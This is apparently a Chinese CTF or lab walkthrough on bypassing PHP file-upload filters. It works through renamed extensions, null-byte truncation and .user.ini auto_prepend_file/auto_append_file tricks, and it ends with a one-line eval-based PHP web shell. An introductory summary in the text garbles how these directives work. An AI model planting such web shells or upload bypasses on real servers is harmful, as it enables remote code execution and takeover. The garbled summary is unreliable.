小编点评

**文件上传参考文档：** * **PHP 中的 auto_prepend_file 指令**：该指令用于在每个 PHP 脚本之前自动加载指定文件。 * **.htaccess 中的 auto_prepend_file 指令**：它也是用于在每个 PHP 脚本之前自动加载指定文件。 * **auto_append_file 指令**：该指令用于在文件上传完成后，将内容添加到文末。 * **auto_prepend_file 指令的语法**： ```php auto_prepend_file = "path/to/file.php"; ``` **示例：** ```php // auto_prepend_file 指令 auto_prepend_file = "shell.png"; // auto_append_file 指令 auto_append_file = "1.txt"; ``` **注意：** * 使用 `auto_prepend_file` 指令必须在 `php.ini` 文件中设置 `auto_prepend_file` 指令。 * 使用 `auto_append_file` 指令需要在文件上传完成后执行。 * `auto_prepend_file` 指令仅在脚本加载前执行。

正文

文件上传

参考文档：https://www.php.net/manual/zh/configuration.file.per-user.php

如果你的 PHP 以模块化运行在 Apache 里，则用 .htaccess 文件有同样效果。

auto_prepend_file  表示在每个PHP脚本之前自动加载指定的文件。该文件的内容将被插入到原始脚本的顶部。

auto_prepend_file="shell.png"

auto_append_file    这个是指内容添加到文末，如果有exit会无法调用到

 

文件上传一

修改后缀--失败

 大小写，php3等等--没有显示错误，上传成功

 尝试访问图片--没有被解析，下载到了本地

 尝试00截断--失败

 使用.user.ini   使用auto_prepend_file="shell.png"

 

上传shell.png

 成功

 

文件上传二：

上传一个普通的png文件：发现路径

 上传.user.ini文件 使用 auto_append_file="1.txt"

 上传1.txt  

 

上传失败疑似是过滤php，使用简写<?=@eval($_POST[x]);?>

 成功